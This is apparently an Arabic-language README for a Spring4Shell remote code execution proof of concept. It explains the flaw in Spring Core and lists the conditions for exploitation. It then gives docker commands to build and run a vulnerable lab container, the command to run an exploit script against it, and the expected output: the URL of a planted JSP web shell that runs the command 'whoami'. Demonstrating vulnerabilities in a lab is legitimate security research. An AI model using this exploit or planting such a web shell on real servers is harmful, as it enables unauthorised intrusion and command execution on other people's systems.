ثغرة Spring4shell RCE

تؤثر هذه الثغرة على Spring Core وتسمح للمهاجم بإرسال طلب HTTP مصمم خصيصًا لتجاوز الحماية في محلل طلبات HTTP في المكتبة، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد.

مزيد من المعلومات هنا

لاستغلال هذه الثغرة، يجب توفر عدة شروط

• استخدام JDK 9 أو أعلى
• وجود Apache Tomcat كحاوية سيرفلت
• التعبئة كملف WAR تقليدي (على عكس jar القابل للتنفيذ في Spring Boot)
• استخدام الاعتماديات spring-webmvc أو spring-webflux
• استخدام إصدارات Spring Framework من 5.3.0 إلى 5.3.17، ومن 5.2.0 إلى 5.2.19، أو الإصدارات الأقدم

POC

• بناء صورة docker

docker build . -t springshell-rce-poc

• تشغيل حاوية docker

docker run --rm -p 8081:8080 --name springshell-rce-poc springshell-rce-poc

• تشغيل الاستغلال

python exploit-poc.py --url "http://127.0.0.1:8081/"

الاستجابة المتوقعة

exploiting
Shell URL:http://127.0.0.1:8081/tomcatwar.jsp?pwd=j&cmd=whoami